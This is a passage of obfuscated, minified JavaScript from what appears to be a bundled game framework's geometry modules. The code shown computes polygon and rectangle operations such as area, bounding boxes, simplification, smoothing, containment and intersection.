_0x58c407, _0x1d4e41) { for (var _0x7af0e5 = 0x0, _0x835b08 = _0x4905cf, _0x261492 = _0x58c407 - _0x1d4e41; _0x835b08 < _0x58c407; _0x835b08 += _0x1d4e41)_0x7af0e5 += (_0x543646[_0x261492] - _0x543646[_0x835b08]) * (_0x543646[_0x835b08 + 0x1] + _0x543646[_0x261492 + 0x1]), _0x261492 = _0x835b08; return _0x7af0e5; } _0xc2b848['deviation'] = function (_0x2a4433, _0x23bf22, _0x35f444, _0x41f23e) { var _0x107442 = _0x23bf22 && _0x23bf22['length'], _0x3475f7 = _0x107442 ? _0x23bf22[0x0] * _0x35f444 : _0x2a4433['length'], _0x289d70 = Math['abs'](_0x142e21(_0x2a4433, 0x0, _0x3475f7, _0x35f444)); if (_0x107442) for (var _0x42d81d = 0x0, _0x3102cd = _0x23bf22['length']; _0x42d81d < _0x3102cd; _0x42d81d++) { var _0x36ed01 = _0x23bf22[_0x42d81d] * _0x35f444, _0x2a46d9 = _0x42d81d < _0x3102cd - 0x1 ? _0x23bf22[_0x42d81d + 0x1] * _0x35f444 : _0x2a4433['length']; _0x289d70 -= Math['abs'](_0x142e21(_0x2a4433, _0x36ed01, _0x2a46d9, _0x35f444)); } var _0x284592 = 0x0; for (_0x42d81d = 0x0; _0x42d81d < _0x41f23e['length']; _0x42d81d += 0x3) { var _0x51ca94 = _0x41f23e[_0x42d81d] * _0x35f444, _0x42f272 = _0x41f23e[_0x42d81d + 0x1] * _0x35f444, _0x17a45b = _0x41f23e[_0x42d81d + 0x2] * _0x35f444; _0x284592 += Math['abs']((_0x2a4433[_0x51ca94] - _0x2a4433[_0x17a45b]) * (_0x2a4433[_0x42f272 + 0x1] - _0x2a4433[_0x51ca94 + 0x1]) - (_0x2a4433[_0x51ca94] - _0x2a4433[_0x42f272]) * (_0x2a4433[_0x17a45b + 0x1] - _0x2a4433[_0x51ca94 + 0x1])); } return 0x0 === _0x289d70 && 0x0 === _0x284592 ? 0x0 : Math['abs']((_0x284592 - _0x289d70) / _0x289d70); }, _0xc2b848['flatten'] = function (_0x2089e3) { for (var _0x3581ce = _0x2089e3[0x0][0x0]['length'], _0x29a35b = { 'vertices': [], 'holes': [], 'dimensions': _0x3581ce }, _0x432279 = 0x0, _0x181118 = 0x0; _0x181118 < _0x2089e3['length']; _0x181118++) { for (var _0x1a9f54 = 0x0; _0x1a9f54 < _0x2089e3[_0x181118]['length']; _0x1a9f54++)for (var _0xce72c4 = 0x0; _0xce72c4 < _0x3581ce; _0xce72c4++)_0x29a35b['vertices']['push'](_0x2089e3[_0x181118][_0x1a9f54][_0xce72c4]); _0x181118 > 0x0 && (_0x432279 += _0x2089e3[_0x181118 - 0x1]['length'], _0x29a35b['holes']['push'](_0x432279)); } return _0x29a35b; }, _0x2d0f22['exports'] = _0xc2b848; }, 0x3605: (_0x54cf6d, _0x27499d, _0x25b015) => { var _0x5af80b = _0x25b015(0x15721); _0x54cf6d['exports'] = function (_0x2f85c0, _0x2f6cc4) { void 0x0 === _0x2f6cc4 && (_0x2f6cc4 = new _0x5af80b()); for (var _0x78463e, _0x16c645 = 0x1 / 0x0, _0x1beeff = 0x1 / 0x0, _0x13fda8 = -_0x16c645, _0x590424 = -_0x1beeff, _0x459b6a = 0x0; _0x459b6a < _0x2f85c0['points']['length']; _0x459b6a++)_0x78463e = _0x2f85c0['points'][_0x459b6a], _0x16c645 = Math['min'](_0x16c645, _0x78463e['x']), _0x1beeff = Math['min'](_0x1beeff, _0x78463e['y']), _0x13fda8 = Math['max'](_0x13fda8, _0x78463e['x']), _0x590424 = Math['max'](_0x590424, _0x78463e['y']); return _0x2f6cc4['x'] = _0x16c645, _0x2f6cc4['y'] = _0x1beeff, _0x2f6cc4['width'] = _0x13fda8 - _0x16c645, _0x2f6cc4['height'] = _0x590424 - _0x1beeff, _0x2f6cc4; }; }, 0x663d: _0x17d06c => { _0x17d06c['exports'] = function (_0xd383b5, _0x46a94c) { void 0x0 === _0x46a94c && (_0x46a94c = []); for (var _0x4a6f5d = 0x0; _0x4a6f5d < _0xd383b5['points']['length']; _0x4a6f5d++)_0x46a94c['push'](_0xd383b5['points'][_0x4a6f5d]['x']), _0x46a94c['push'](_0xd383b5['points'][_0x4a6f5d]['y']); return _0x46a94c; }; }, 0x255c: (_0x203243, _0x9fdff1, _0xcf28bf) => { var _0x1a2b40 = _0xcf28bf(0x88b9), _0x49a62c = _0xcf28bf(0x59f7), _0x3a9895 = _0xcf28bf(0x7564); _0x203243['exports'] = function (_0x3ba7d6, _0xdb73e4, _0x207e96, _0x1b1f8b) { void 0x0 === _0x1b1f8b && (_0x1b1f8b = []); var _0x3a92b7 = _0x3ba7d6['points'], _0x32908 = _0x3a9895(_0x3ba7d6); !_0xdb73e4 && _0x207e96 > 0x0 && (_0xdb73e4 = _0x32908 / _0x207e96); for (var _0x30be28 = 0x0; _0x30be28 < _0xdb73e4; _0x30be28++)for (var _0x55c0fa = _0x32908 * (_0x30be28 / _0xdb73e4), _0x460847 = 0x0, _0x187fb8 = 0x0; _0x187fb8 < _0x3a92b7['length']; _0x187fb8++) { var _0x183fc9 = _0x3a92b7[_0x187fb8], _0x1ba452 = _0x3a92b7[(_0x187fb8 + 0x1) % _0x3a92b7['length']], _0x4ef530 = new _0x49a62c(_0x183fc9['x'], _0x183fc9['y'], _0x1ba452['x'], _0x1ba452['y']), _0x19507d = _0x1a2b40(_0x4ef530); if (!(_0x55c0fa < _0x460847 || _0x55c0fa > _0x460847 + _0x19507d)) { var _0x15391b = _0x4ef530['getPoint']((_0x55c0fa - _0x460847) / _0x19507d); _0x1b1f8b['push'](_0x15391b); break; } _0x460847 += _0x19507d; } return _0x1b1f8b; }; }, 0x7564: (_0x6f8a2f, _0x48ad9e, _0x28c256) => { var _0x342300 = _0x28c256(0x88b9), _0x29c94f = _0x28c256(0x59f7); _0x6f8a2f['exports'] = function (_0x24f279) { for (var _0x4b2f3a = _0x24f279['points'], _0xe52c84 = 0x0, _0x102ce9 = 0x0; _0x102ce9 < _0x4b2f3a['length']; _0x102ce9++) { var _0x5e38d7 = _0x4b2f3a[_0x102ce9], _0x3e614f = _0x4b2f3a[(_0x102ce9 + 0x1) % _0x4b2f3a['length']], _0x433d8b = new _0x29c94f(_0x5e38d7['x'], _0x5e38d7['y'], _0x3e614f['x'], _0x3e614f['y']); _0xe52c84 += _0x342300(_0x433d8b); } return _0xe52c84; }; }, 0x6475: (_0x443f3d, _0x42d0a8, _0x65b838) => { var _0x4943a9 = _0x65b838(0x145db), _0x150936 = _0x65b838(0xf946), _0x4d89fa = _0x65b838(0x255c), _0x298d9a = _0x65b838(0x5ce1), _0x219aaf = new _0x4943a9({ 'initialize': function (_0x5039ae) { this['type'] = _0x298d9a['POLYGON'], this['area'] = 0x0, this['points'] = [], _0x5039ae && this['setTo'](_0x5039ae); }, 'contains': function (_0x209d03, _0x4d4dc1) { return _0x150936(this, _0x209d03, _0x4d4dc1); }, 'setTo': function (_0x55067c) { if (this['area'] = 0x0, this['points'] = [], 'string' == typeof _0x55067c && (_0x55067c = _0x55067c['split']('\x20')), !Array['isArray'](_0x55067c)) return this; for (var _0x409ee1, _0x4066ae = 0x0; _0x4066ae < _0x55067c['length']; _0x4066ae++)_0x409ee1 = { 'x': 0x0, 'y': 0x0 }, 'number' == typeof _0x55067c[_0x4066ae] || 'string' == typeof _0x55067c[_0x4066ae] ? (_0x409ee1['x'] = parseFloat(_0x55067c[_0x4066ae]), _0x409ee1['y'] = parseFloat(_0x55067c[_0x4066ae + 0x1]), _0x4066ae++) : Array['isArray'](_0x55067c[_0x4066ae]) ? (_0x409ee1['x'] = _0x55067c[_0x4066ae][0x0], _0x409ee1['y'] = _0x55067c[_0x4066ae][0x1]) : (_0x409ee1['x'] = _0x55067c[_0x4066ae]['x'], _0x409ee1['y'] = _0x55067c[_0x4066ae]['y']), this['points']['push'](_0x409ee1); return this['calculateArea'](), this; }, 'calculateArea': function () { if (this['points']['length'] < 0x3) return this['area'] = 0x0, this['area']; for (var _0x5cc7c8, _0x6895a8, _0x4f686b = 0x0, _0x5ab392 = 0x0; _0x5ab392 < this['points']['length'] - 0x1; _0x5ab392++)_0x5cc7c8 = this['points'][_0x5ab392], _0x4f686b += ((_0x6895a8 = this['points'][_0x5ab392 + 0x1])['x'] - _0x5cc7c8['x']) * (_0x5cc7c8['y'] + _0x6895a8['y']); return _0x5cc7c8 = this['points'][0x0], _0x6895a8 = this['points'][this['points']['length'] - 0x1], _0x4f686b += (_0x5cc7c8['x'] - _0x6895a8['x']) * (_0x6895a8['y'] + _0x5cc7c8['y']), this['area'] = 0.5 * -_0x4f686b, this['area']; }, 'getPoints': function (_0x4bf67b, _0x94973, _0x4dc9bd) { return _0x4d89fa(this, _0x4bf67b, _0x94973, _0x4dc9bd); } }); _0x443f3d['exports'] = _0x219aaf; }, 0x1fc5: _0x3598fd => { _0x3598fd['exports'] = function (_0x3721db) { return _0x3721db['points']['reverse'](), _0x3721db; }; }, 0x7354: _0x3af4a1 => { function _0x331cac(_0x5199e1, _0x496221, _0x435e7b) { var _0x44df8c = _0x496221['x'], _0x488ae9 = _0x496221['y'], _0x122a21 = _0x435e7b['x'] - _0x44df8c, _0x2a52ea = _0x435e7b['y'] - _0x488ae9; if (0x0 !== _0x122a21 || 0x0 !== _0x2a52ea) { var _0xe811ca = ((_0x5199e1['x'] - _0x44df8c) * _0x122a21 + (_0x5199e1['y'] - _0x488ae9) * _0x2a52ea) / (_0x122a21 * _0x122a21 + _0x2a52ea * _0x2a52ea); _0xe811ca > 0x1 ? (_0x44df8c = _0x435e7b['x'], _0x488ae9 = _0x435e7b['y']) : _0xe811ca > 0x0 && (_0x44df8c += _0x122a21 * _0xe811ca, _0x488ae9 += _0x2a52ea * _0xe811ca); } return (_0x122a21 = _0x5199e1['x'] - _0x44df8c) * _0x122a21 + (_0x2a52ea = _0x5199e1['y'] - _0x488ae9) * _0x2a52ea; } function _0x517264(_0x406f4c, _0x2ce317, _0x585c47, _0x208dfa, _0x3a6c66) { for (var _0x221c6b, _0x3ca7e2 = _0x208dfa, _0x25e0ad = _0x2ce317 + 0x1; _0x25e0ad < _0x585c47; _0x25e0ad++) { var _0x3a6a92 = _0x331cac(_0x406f4c[_0x25e0ad], _0x406f4c[_0x2ce317], _0x406f4c[_0x585c47]); _0x3a6a92 > _0x3ca7e2 && (_0x221c6b = _0x25e0ad, _0x3ca7e2 = _0x3a6a92); } _0x3ca7e2 > _0x208dfa && (_0x221c6b - _0x2ce317 > 0x1 && _0x517264(_0x406f4c, _0x2ce317, _0x221c6b, _0x208dfa, _0x3a6c66), _0x3a6c66['push'](_0x406f4c[_0x221c6b]), _0x585c47 - _0x221c6b > 0x1 && _0x517264(_0x406f4c, _0x221c6b, _0x585c47, _0x208dfa, _0x3a6c66)); } function _0x5196ec(_0x4eeb58, _0x1fb422) { var _0x208c40 = _0x4eeb58['length'] - 0x1, _0x6e9ae2 = [_0x4eeb58[0x0]]; return _0x517264(_0x4eeb58, 0x0, _0x208c40, _0x1fb422, _0x6e9ae2), _0x6e9ae2['push'](_0x4eeb58[_0x208c40]), _0x6e9ae2; } _0x3af4a1['exports'] = function (_0x4cfdf9, _0xa891a1, _0x318d95) { void 0x0 === _0xa891a1 && (_0xa891a1 = 0x1), void 0x0 === _0x318d95 && (_0x318d95 = !0x1); var _0x1afa21 = _0x4cfdf9['points']; if (_0x1afa21['length'] > 0x2) { var _0x19ba53 = _0xa891a1 * _0xa891a1; _0x318d95 || (_0x1afa21 = function (_0xca7013, _0x57aeba) { for (var _0x219c5d, _0x4bf205, _0x2ef2e3, _0xdafad2, _0x12eb39, _0x132ca4 = _0xca7013[0x0], _0x14c3c5 = [_0x132ca4], _0x142c37 = 0x1, _0x3d8718 = _0xca7013['length']; _0x142c37 < _0x3d8718; _0x142c37++)_0x219c5d = _0xca7013[_0x142c37], _0x2ef2e3 = _0x132ca4, _0xdafad2 = void 0x0, _0x12eb39 = void 0x0, _0xdafad2 = (_0x4bf205 = _0x219c5d)['x'] - _0x2ef2e3['x'], _0x12eb39 = _0x4bf205['y'] - _0x2ef2e3['y'], _0xdafad2 * _0xdafad2 + _0x12eb39 * _0x12eb39 > _0x57aeba && (_0x14c3c5['push'](_0x219c5d), _0x132ca4 = _0x219c5d); return _0x132ca4 !== _0x219c5d && _0x14c3c5['push'](_0x219c5d), _0x14c3c5; }(_0x1afa21, _0x19ba53)), _0x4cfdf9['setTo'](_0x5196ec(_0x1afa21, _0x19ba53)); } return _0x4cfdf9; }; }, 0x155d: _0x575a8b => { var _0x518484 = function (_0x4a808c, _0x48bb96) { return _0x4a808c[0x0] = _0x48bb96[0x0], _0x4a808c[0x1] = _0x48bb96[0x1], _0x4a808c; }; _0x575a8b['exports'] = function (_0x3e0f4b) { var _0x15fe47, _0x595312 = [], _0x513d02 = _0x3e0f4b['points']; for (_0x15fe47 = 0x0; _0x15fe47 < _0x513d02['length']; _0x15fe47++)_0x595312['push']([_0x513d02[_0x15fe47]['x'], _0x513d02[_0x15fe47]['y']]); var _0x248177 = []; for (_0x595312['length'] > 0x0 && _0x248177['push'](_0x518484([0x0, 0x0], _0x595312[0x0])), _0x15fe47 = 0x0; _0x15fe47 < _0x595312['length'] - 0x1; _0x15fe47++) { var _0x31b659 = _0x595312[_0x15fe47], _0x531400 = _0x595312[_0x15fe47 + 0x1], _0x533685 = _0x31b659[0x0], _0x143e6b = _0x31b659[0x1], _0x27ac2f = _0x531400[0x0], _0x2f9b03 = _0x531400[0x1]; _0x248177['push']([0.85 * _0x533685 + 0.15 * _0x27ac2f, 0.85 * _0x143e6b + 0.15 * _0x2f9b03]), _0x248177['push']([0.15 * _0x533685 + 0.85 * _0x27ac2f, 0.15 * _0x143e6b + 0.85 * _0x2f9b03]); } return _0x595312['length'] > 0x1 && _0x248177['push'](_0x518484([0x0, 0x0], _0x595312[_0x595312['length'] - 0x1])), _0x3e0f4b['setTo'](_0x248177); }; }, 0x6085: _0x1bf096 => { _0x1bf096['exports'] = function (_0x3a2e44, _0x54eb00, _0x944735) { for (var _0x117840 = _0x3a2e44['points'], _0x35ea19 = 0x0; _0x35ea19 < _0x117840['length']; _0x35ea19++)_0x117840[_0x35ea19]['x'] += _0x54eb00, _0x117840[_0x35ea19]['y'] += _0x944735; return _0x3a2e44; }; }, 0xe437: (_0x2d9e44, _0x1dba6c, _0xb14b32) => { var _0x4179b5 = _0xb14b32(0x6475); _0x4179b5['Clone'] = _0xb14b32(0x3012), _0x4179b5['Contains'] = _0xb14b32(0xf946), _0x4179b5['ContainsPoint'] = _0xb14b32(0x1840a), _0x4179b5['Earcut'] = _0xb14b32(0x1725b), _0x4179b5['GetAABB'] = _0xb14b32(0x3605), _0x4179b5['GetNumberArray'] = _0xb14b32(0x663d), _0x4179b5['GetPoints'] = _0xb14b32(0x255c), _0x4179b5['Perimeter'] = _0xb14b32(0x7564), _0x4179b5['Reverse'] = _0xb14b32(0x1fc5), _0x4179b5['Simplify'] = _0xb14b32(0x7354), _0x4179b5['Smooth'] = _0xb14b32(0x155d), _0x4179b5['Translate'] = _0xb14b32(0x6085), _0x2d9e44['exports'] = _0x4179b5; }, 0xf310: _0x13a491 => { _0x13a491['exports'] = function (_0x548c00) { return _0x548c00['width'] * _0x548c00['height']; }; }, 0x18137: _0x500edd => { _0x500edd['exports'] = function (_0x209762) { return _0x209762['x'] = Math['ceil'](_0x209762['x']), _0x209762['y'] = Math['ceil'](_0x209762['y']), _0x209762; }; }, 0x7bc8: _0x19e304 => { _0x19e304['exports'] = function (_0x224bbe) { return _0x224bbe['x'] = Math['ceil'](_0x224bbe['x']), _0x224bbe['y'] = Math['ceil'](_0x224bbe['y']), _0x224bbe['width'] = Math['ceil'](_0x224bbe['width']), _0x224bbe['height'] = Math['ceil'](_0x224bbe['height']), _0x224bbe; }; }, 0x107ae: _0x2ceafe => { _0x2ceafe['exports'] = function (_0x14756c, _0x718a40, _0x26d0c7) { return _0x14756c['x'] = _0x718a40 - _0x14756c['width'] / 0x2, _0x14756c['y'] = _0x26d0c7 - _0x14756c['height'] / 0x2, _0x14756c; }; }, 0xfe3d: (_0x44aeaa, _0x1a381b, _0x3c0017) => { var _0x13fb10 = _0x3c0017(0x15721); _0x44aeaa['exports'] = function (_0x48dea3) { return new _0x13fb10(_0x48dea3['x'], _0x48dea3['y'], _0x48dea3['width'], _0x48dea3['height']); }; }, 0x91b7: _0x159aa3 => { _0x159aa3['exports'] = function (_0x8b1e0d, _0x4a3d62, _0x3aa33e) { return !(_0x8b1e0d['width'] <= 0x0 || _0x8b1e0d['height'] <= 0x0) && _0x8b1e0d['x'] <= _0x4a3d62 && _0x8b1e0d['x'] + _0x8b1e0d['width'] >= _0x4a3d62 && _0x8b1e0d['y'] <= _0x3aa33e && _0x8b1e0d['y'] + _0x8b1e0d['height'] >= _0x3aa33e; }; }, 0x17929: (_0x43473f, _0x18e50c, _0x43da28) => { var _0x3e46c0 = _0x43da28(0x91b7); _0x43473f['exports'] = function (_0x42de77, _0x1ec18f) { return _0x3e46c0(_0x42de77, _0x1ec18f['x'], _0x1ec18f['y']); }; }, 0x11281: _0x18694f => { _0x18694f['exports'] = function (_0x89e8ec, _0x49f44e) { return !(_0x49f44e['width'] * _0x49f44e['height'] > _0x89e8ec['width'] * _0x89e8ec['height']) && _0x49f44e['x'] > _0x89e8ec['x'] && _0x49f44e['x'] < _0x89e8ec['right'] && _0x49f44e['right'] > _0x89e8ec['x'] && _0x49f44e['right'] < _0x89e8ec['right'] && _0x49f44e['y'] > _0x89e8ec['y'] && _0x49f44e['y'] < _0x89e8ec['bottom'] && _0x49f44e['bottom'] > _0x89e8ec['y'] && _0x49f44e['bottom'] < _0x89e8ec['bottom']; }; }, 0xa9c3: _0x1e22f0 => { _0x1e22f0['exports'] = function (_0x892de7, _0x90390c) { return _0x90390c['setTo'](_0x892de7['x'], _0x892de7['y'], _0x892de7['width'], _0x892de7['height']); }; }, 0x12eb5: _0x1dbb62 => { _0x1dbb62['exports'] = function (_0x3ca5b5, _0x511393) { return void 0x0 === _0x511393 && (_0x511393 = []), _0x511393['push']({ 'x': _0x3ca5b5['x'], 'y': _0x3ca5b5['y'] }), _0x511393['push']({ 'x': _0x3ca5b5['right'], 'y': _0x3ca5b5['y'] }), _0x511393['push']({ 'x': _0x3ca5b5['right'], 'y': _0x3ca5b5['bottom'] }), _0x511393['push']({ 'x': _0x3ca5b5['x'], 'y': _0x3ca5b5['bottom'] }), _0x511393; }; }, 0x2403: _0x2f6504 => { _0x2f6504['exports'] = function (_0x1ecc55, _0x15d641) { return _0x1ecc55['x'] === _0x15d641['x'] && _0x1ecc55['y'] === _0x15d641['y'] && _0x1ecc55['width'] === _0x15d641['width'] && _0x1ecc55['height'] === _0x15d641['height']; }; }, 0xd1f7: (_0x105815, _0x3ce56e, _0x1547b2) => { var _0x40e4d5 = _0x1547b2(0x2039); _0x105815['exports'] = function (_0x20bca1, _0xa489a2) { var _0x3a7ea3 = _0x40e4d5(_0x20bca1); return _0x3a7ea3 < _0x40e4d5(_0xa489a2) ? _0x20bca1['setSize'](_0xa489a2['height'] * _0x3a7ea3, _0xa489a2['height']) : _0x20bca1['setSize'](_0xa489a2['width'], _0xa489a2['width'] / _0x3a7ea3), _0x20bca1['setPosition'](_0xa489a2['centerX'] - _0x20bca1['width'] / 0x2, _0xa489a2['centerY'] - _0x20bca1['height'] / 0x2); }; }, 0x3ed8: (_0x41f9c6, _0x2abb12, _0x149604) => { var _0x26704f = _0x149604(0x2039); _0x41f9c6['exports'] = function (_0x4ddf67, _0x330527) { var _0x5b3a7c = _0x26704f(_0x4ddf67); return _0x5b3a7c > _0x26704f(_0x330527) ? _0x4ddf67['setSize'](_0x330527['height'] * _0x5b3a7c, _0x330527['height']) : _0x4ddf67['setSize'](_0x330527['width'], _0x330527['width'] / _0x5b3a7c), _0x4ddf67['setPosition'](_0x330527['centerX'] - _0x4ddf67['width'] / 0x2, _0x330527['centerY'] - _0x4ddf67['height'] / 0x2); }; }, 0x13b86: _0x372e52 => { _0x372e52['exports'] = function (_0x587023) { return _0x587023['x'] = Math['floor'](_0x587023['x']), _0x587023['y'] = Math['floor'](_0x587023['y']), _0x587023; }; }, 0x14793: _0x18a8de => { _0x18a8de['exports'] = function (_0x41dca0) { return _0x41dca0['x'] = Math['floor'](_0x41dca0['x']), _0x41dca0['y'] = Math['floor'](_0x41dca0['y']), _0x41dca0['width'] = Math['floor'](_0x41dca0['width']), _0x41dca0['height'] = Math['floor'](_0x41dca0['height']), _0x41dca0; }; }, 0x4b11: (_0x2bb9a8, _0x59b25c, _0x3d01a6) => { var _0x308313 = _0x3d01a6(0x15721), _0x4f177a = _0x3d01a6(0x8e1f); _0x2bb9a8['exports'] = function (_0x37d930, _0x57539b) { if (void 0x0 === _0x57539b && (_0x57539b = new _0x308313()), 0x0 === _0x37d930['length']) return _0x57539b; for (var _0x5a034f, _0x51280d, _0x144c1f, _0x2c50f6 = Number['MAX_VALUE'], _0x23d028 = Number['MAX_VALUE'], _0x59034d = _0x4f177a['MIN_SAFE_INTEGER'], _0x22bcb9 = _0x4f177a['MIN_SAFE_INTEGER'], _0x3f324b = 0x0; _0x3f324b < _0x37d930['length']; _0x3f324b++)_0x5a034f = _0x37d930[_0x3f324b], Array['isArray'](_0x5a034f) ? (_0x51280d = _0x5a034f[0x0], _0x144c1f = _0x5a034f[0x1]) : (_0x51280d = _0x5a034f['x'], _0x144c1f = _0x5a034f['y']), _0x2c50f6 = Math['min'](_0x2c50f6, _0x51280d), _0x23d028 = Math['min'](_0x23d028, _0x144c1f), _0x59034d = Math['max'](_0x59034d, _0x51280d), _0x22bcb9 = Math['max'](_0x22bcb9, _0x144c1f); return _0x57539b['x'] = _0x2c50f6, _0x57539b['y'] = _0x23d028, _0x57539b['width'] = _0x59034d - _0x2c50f6, _0x57539b['height'] = _0x22bcb9 - _0x23d028, _0x57539b; }; }, 0x2505: (_0x36eef7, _0x2dc43d, _0x2dcd0e) => { var _0x320833 = _0x2dcd0e(0x15721); _0x36eef7['exports'] = function (_0x5326c0, _0x294bf4, _0x378227, _0x16d891, _0x4e0de8) { return void 0x0 === _0x4e0de8 && (_0x4e0de8 = new _0x320833()), _0x4e0de8['setTo'](Math['min'](_0x5326c0, _0x378227), Math['min'](_0x294bf4, _0x16d891), Math['abs'](_0x5326c0 - _0x378227), Math['abs'](_0x294bf4 - _0x16d891)); }; }, 0x2039: _0xb11232 => { _0xb11232['exports'] = function (_0x2968ad) { return 0x0 === _0x2968ad['height'] ? NaN : _0x2968ad['width'] / _0x2968ad['height']; }; }, 0x6a1d: (_0x2e286c, _0x37afd6, _0x4f5fb5) => { var _0x4e4b0d = _0x4f5fb5(0x85d); _0x2e286c['exports'] = function (_0x25bea6, _0x2b6bfa) { return void 0x0 === _0x2b6bfa && (_0x2b6bfa = new _0x4e4b0d()), _0x2b6bfa['x'] = _0x25bea6['centerX'], _0x2b6bfa['y'] = _0x25bea6['centerY'], _0x2b6bfa; }; }, 0x514c: (_0xc21e77, _0x14f978, _0x459b11) => { var _0x553947 = _0x459b11(0x32db), _0x36f1be = _0x459b11(0x85d); _0xc21e77['exports'] = function (_0x5a400b, _0x5d7adc, _0x2ed8e1) { if (void 0x0 === _0x2ed8e1 && (_0x2ed8e1 = new _0x36f1be()), _0x5d7adc <= 0x0 || _0x5d7adc >= 0x1) return _0x2ed8e1['x'] = _0x5a400b['x'], _0x2ed8e1['y'] = _0x5a400b['y'], _0x2ed8e1; var _0x5094ec = _0x553947(_0x5a400b) * _0x5d7adc; return _0x5d7adc > 0.5 ? (_0x5094ec -= _0x5a400b['width'] + _0x5a400b['height']) <= _0x5a400b['width'] ? (_0x2ed8e1['x'] = _0x5a400b['right'] - _0x5094ec, _0x2ed8e1['y'] = _0x5a400b['bottom']) : (_0x2ed8e1['x'] = _0x5a400b['x'], _0x2ed8e1['y'] = _0x5a400b['bottom'] - (_0x5094ec - _0x5a400b['width'])) : _0x5094ec <= _0x5a400b['width'] ? (_0x2ed8e1['x'] = _0x5a400b['x'] + _0x5094ec, _0x2ed8e1['y'] = _0x5a400b['y']) : (_0x2ed8e1['x'] = _0x5a400b['right'], _0x2ed8e1['y'] = _0x5a400b['y'] + (_0x5094ec - _0x5a400b['width'])), _0x2ed8e1; }; }, 0x8803: (_0x24a531, _0x2598b9, _0x40b153) => { var _0x4687de = _0x40b153(0x514c), _0x27be3b = _0x40b153(0x32db); _0x24a531['exports'] = function (_0x265462, _0x42a813, _0x3c7786, _0x56b1c2) { void 0x0 === _0x56b1c2 && (_0x56b1c2 = []), !_0x42a813 && _0x3c7786 > 0x0 && (_0x42a813 = _0x27be3b(_0x265462) / _0x3c7786); for (var _0x3e7917 = 0x0; _0x3e7917 < _0x42a813; _0x3e7917++) { var _0x19c44a = _0x3e7917 / _0x42a813; _0x56b1c2['push'](_0x4687de(_0x265462, _0x19c44a)); } return _0x56b1c2; }; }, 0xc871: (_0x1d7069, _0x518e3c, _0x4b4b33) => { var _0x431be5 = _0x4b4b33(0x85d); _0x1d7069['exports'] = function (_0x25b71b, _0x13af3f) { return void 0x0 === _0x13af3f && (_0x13af3f = new _0x431be5()), _0x13af3f['x'] = _0x25b71b['width'], _0x13af3f['y'] = _0x25b71b['height'], _0x13af3f; }; }, 0x1504b: (_0x21336c, _0x512072, _0x1015e1) => { var _0xe75dd4 = _0x1015e1(0x107ae); _0x21336c['exports'] = function (_0x37c9f3, _0x5d9716, _0x5a84d9) { var _0x2a095d = _0x37c9f3['centerX'], _0x487fdd = _0x37c9f3['centerY']; return _0x37c9f3['setSize'](_0x37c9f3['width'] + 0x2 * _0x5d9716, _0x37c9f3['height'] + 0x2 * _0x5a84d9), _0xe75dd4(_0x37c9f3, _0x2a095d, _0x487fdd); }; }, 0xd2bf: (_0x8f243a, _0x4e20f9, _0x432041) => { var _0x4e6693 = _0x432041(0x15721), _0x56c92e = _0x432041(0xea5c); _0x8f243a['exports'] = function (_0x2c7723, _0x3a7f65, _0x5513a8) { return void 0x0 === _0x5513a8 && (_0x5513a8 = new _0x4e6693()), _0x56c92e(_0x2c7723, _0x3a7f65) ? (_0x5513a8['x'] = Math['max'](_0x2c7723['x'], _0x3a7f65['x']), _0x5513a8['y'] = Math['max'](_0x2c7723['y'], _0x3a7f65['y']), _0x5513a8['width'] = Math['min'](_0x2c7723['right'], _0x3a7f65['right']) - _0x5513a8['x'], _0x5513a8['height'] = Math['min'](_0x2c7723['bottom'], _0x3a7f65['bottom']) - _0x5513a8['y']) : _0x5513a8['setEmpty'](), _0x5513a8; }; }, 0x3939: (_0x10e87f, _0x4810f0, _0x3495a1) => { var _0x1fcfcc = _0x3495a1(0x32db), _0xc41fcd = _0x3495a1(0x85d); _0x10e87f['exports'] = function (_0x5bb800, _0x54ff27, _0x326e74, _0x424860) { if (void 0x0 === _0x424860 && (_0x424860 = []), !_0x54ff27 && !_0x326e74) return _0x424860; _0x54ff27 ? _0x326e74 = Math['round'](_0x1fcfcc(_0x5bb800) / _0x54ff27) : _0x54ff27 = _0x1fcfcc(_0x5bb800) / _0x326e74; for (var _0x37440e = _0x5bb800['x'], _0x43600e = _0x5bb800['y'], _0x3c54f9 = 0x0, _0x4047ce = 0x0; _0x4047ce < _0x326e74; _0x4047ce++)switch (_0x424860['push'](new _0xc41fcd(_0x37440e, _0x43600e)), _0x3c54f9) { case 0x0: (_0x37440e += _0x54ff27) >= _0x5bb800['right'] && (_0x3c54f9 = 0x1, _0x43600e += _0x37440e - _0x5bb800['right'], _0x37440e = _0x5bb800['right']); break; case 0x1: (_0x43600e += _0x54ff27) >= _0x5bb800['bottom'] && (_0x3c54f9 = 0x2, _0x37440e -= _0x43600e - _0x5bb800['bottom'], _0x43600e = _0x5bb800['bottom']); break; case 0x2: (_0x37440e -= _0x54ff27) <= _0x5bb800['left'] && (_0x3c54f9 = 0x3, _0x43600e -= _0x5bb800['left'] - _0x37440e, _0x37440e = _0x5bb800['left']); break; case 0x3: (_0x43600e -= _0x54ff27) <= _0x5bb800['top'] && (_0x3c54f9 = 0x0, _0x43600e = _0x5bb800['top']); }return _0x424860; }; }, 0x833b: _0x4a6c9c => { _0x4a6c9c['exports'] = function (_0x2bcce3, _0x32b2fd) { for (var _0xc95386 = _0x2bcce3['x'], _0x353b2e = _0x2bcce3['right'], _0x248b9d = _0x2bcce3['y'], _0x16594a = _0x2bcce3['bottom'], _0x261277 = 0x0; _0x261277 < _0x32b2fd['length']; _0x261277++)_0xc95386 = Math['min'](_0xc95386, _0x32b2fd[_0x261277]['x']), _0x353b2e = Math['max'](_0x353b2e, _0x32b2fd[_0x261277]['x']), _0x248b9d = Math['min'](_0x248b9d, _0x32b2fd[_0x261277]['y']), _0x16594a = Math['max'](_0x16594a, _0x32b2fd[_0x261277]['y']); return _0x2bcce3['x'] = _0xc95386, _0x2bcce3['y'] = _0x248b9d, _0x2bcce3['width'] = _0x353b2e - _0xc95386, _0x2bcce3['height'] = _0x16594a - _0x248b9d, _0x2bcce3; }; }, 0x4e6a: _0x16ef0b => { _0x16ef0b['exports'] = function (_0x4f3658, _0xb4db5f) { var _0x14e1ae = Math['min'](_0x4f3658['x'], _0xb4db5f['x']), _0x58c00b = Math['max'](_0x4f3658['right'], _0xb4db5f['right']); _0x4f3658['x'] = _0x14e1ae, _0x4f3658['width'] = _0x58c00b - _0x14e1ae; var _0x25f7f1 = Math['min'](_0x4f3658['y'], _0xb4db5f['y']), _0x2e3b8f = Math['max'](_0x4f3658['bottom'], _0xb4db5f['bottom']); return _0x4f3658['y'] = _0x25f7f1, _0x4f3658['height'] = _0x2e3b8f - _0x25f7f1, 